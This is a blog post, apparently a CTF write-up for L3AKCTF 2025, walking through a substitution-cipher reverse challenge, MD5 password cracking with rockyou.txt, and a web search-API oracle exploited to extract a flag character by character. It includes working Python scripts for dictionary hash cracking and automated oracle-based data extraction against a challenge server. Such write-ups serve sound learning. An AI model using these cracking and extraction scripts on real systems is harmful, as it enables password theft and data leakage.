← Back to list

L3AKCTF 2025 | Writeup

First of all, thanks to L3akCTF for helping me to restart my CTF journey once again. There were a vast number of challenges on the website…

Thejuggler35 · 2025-07-14 16:04 · 35 claps · 4.1 min read
#thejuggler35 #l3akctf-2025 #ctf-writeup #rev #web
Open on Medium ↗

L3AKCTF 2025 | Writeup

First of all, thanks to L3akCTF for helping me to restart my CTF journey once again. There were a vast number of challenges on the website, and I enjoyed solving some of them with the help of our team.

I will discuss the challenges that I solved in this CTF

1. babyRev

This is first challenge that I figured out how to solve.

Firstly, I did a strings on the file, there I got the encoded flag

Then I tried ROT decoding to get the flag but I failed it. tried different decoding-encoding, I got a hint from ChatGPT, it’s remap something like this,

then I took an automated script from ChatGPT to do it, there I got

remap = {
    'a': 'q', 'b': 'w', 'c': 'e', 'd': 'r', 'e': 't', 'f': 'y',
    'g': 'u', 'h': 'i', 'i': 'o', 'j': 'p', 'k': 'a', 'l': 's',
    'm': 'd', 'n': 'f', 'o': 'g', 'p': 'h', 'q': 'j', 'r': 'k',
    's': 'l', 't': 'z', 'u': 'x', 'v': 'c', 'w': 'v', 'x': 'b',
    'y': 'n', 'z': 'm'
}

# Build inverse map
inverse_remap = {v: k for k, v in remap.items()}

encrypted_flag = "L3AK{ngx_qkt_fgz_ugffq_uxtll_dt}"

def decode_flag(s):
    result = ""
    for ch in s:
        if ch.islower():
            result += inverse_remap.get(ch, ch)
        else:
            result += ch
    return result

decoded = decode_flag(encrypted_flag)
print("Decoded flag:", decoded)

After running this script, you will get the flag

2. Mildly Disastrous 5ecurity

In this challenge you have to just dehash the 3 passwords using rockyou.txt wordlist with MD5 methods, you can use any tools for this like hashcat or others.

I did it using an automated script with the help of one and only friend (ChatGPT :) )

import hashlib

# MD5 hashes to crack
target_hashes = {
    "53e182cbd4daa6680f1a7c7b85eba802",
    "1bfcbffaf03174f022225a62ddf025a8",
    "1853572d1b6ae6f644718a6b6df835f9"
}

# Path to your rockyou.txt wordlist
wordlist_path = "rockyou.txt"

# Load the wordlist and try cracking the hashes
def crack_md5_hashes(wordlist_path, target_hashes):
    cracked = {}

    try:
        with open(wordlist_path, "r", encoding="latin-1") as file:
            for line in file:
                word = line.strip()
                hash = hashlib.md5(word.encode()).hexdigest()

                if hash in target_hashes:
                    cracked[hash] = word
                    print(f"[+] Cracked: {hash} -> {word}")

                    # Optional: Stop early if all are cracked
                    if len(cracked) == len(target_hashes):
                        break

    except FileNotFoundError:
        print("[-] Wordlist not found. Make sure 'rockyou.txt' is in the correct path.")

    # Report results
    for h in target_hashes:
        if h not in cracked:
            print(f"[-] Not cracked: {h}")

    return cracked

# Run the cracker
if __name__ == "__main__":
    crack_md5_hashes(wordlist_path, target_hashes)

3. Flag L3ak

In this challenge, what I did was first visit the website

And figuring out , how to get the flag, like visiting the source page , robot.txt, inspecting cookies and network, when I inspected the source page, there I got a hint that I have to use search bar to get the flag some kind of API stuff

Then I used the search bar, when I searched for something more than 3 characters, it showed me an error message

It must be 3 characters, then I tried to guess the flag and it’s worked like

we knew that flag format is L3AK{…} then I guess it like “L3A” then “3Ak” then “AK{“ and so on take 2 past words and one random word/number/symbal to guess the next words and get a automate script for this

import requests
import time
import string

BASE_URL = "http://34.134.162.213:17000"  # Replace with target URL if different
# Include all printable ASCII characters to cover all possibilities
CHARS = string.printable

def search(query):
    url = f"{BASE_URL}/api/search"
    data = {"query": query}
    try:
        response = requests.post(url, json=data)
        if response.status_code == 200:
            results = response.json().get('results', [])
            for post in results:
                if post.get('id') == 3:  # Only care about the post containing the real flag
                    return True
            return False
        elif response.status_code == 400:
            print(f"Bad request for query {query}: {response.json().get('error')}")
            return False
        else:
            print(f"Unexpected status code: {response.status_code} for query {query}")
            return False
    except Exception as e:
        print(f"Error: {e}")
        return False

def extract_flag():
    known = "L3A"  # Known prefix of the flag format
    MAX_LENGTH = 50
    DELAY = 0.1  # Delay between requests to avoid rate-limiting

    while len(known) < MAX_LENGTH:
        prefix = known[-2:]  # Last two characters of known flag
        found = False

        for c in CHARS:
            candidate = prefix + c
            if search(candidate):
                known += c
                found = True
                print(f"Found next char: '{c}', known: {known}")

                # Stop when we find the closing brace
                if c == '}':
                    return known
                break
            time.sleep(DELAY)

        if not found:
            print("Could not find next character")
            break

    return known

if __name__ == "__main__":
    flag = extract_flag()
    print(f"Flag: {flag}")

That’s it; I will try more challenges in the next CTF. I hope so, and then I will write a write-up for that.

Thanks for reading this write-up so far ;)


메타데이터
post_id
9ce0ea1bcf0f
slug
l3akctf-2025-writeup-9ce0ea1bcf0f
url
https://medium.com/@thejuggler35/l3akctf-2025-writeup-9ce0ea1bcf0f
canonical_url
https://medium.com/@thejuggler35/l3akctf-2025-writeup-9ce0ea1bcf0f
author_url
https://medium.com/@thejuggler35
status
ok
fetched_at
2026-07-29 04:21:30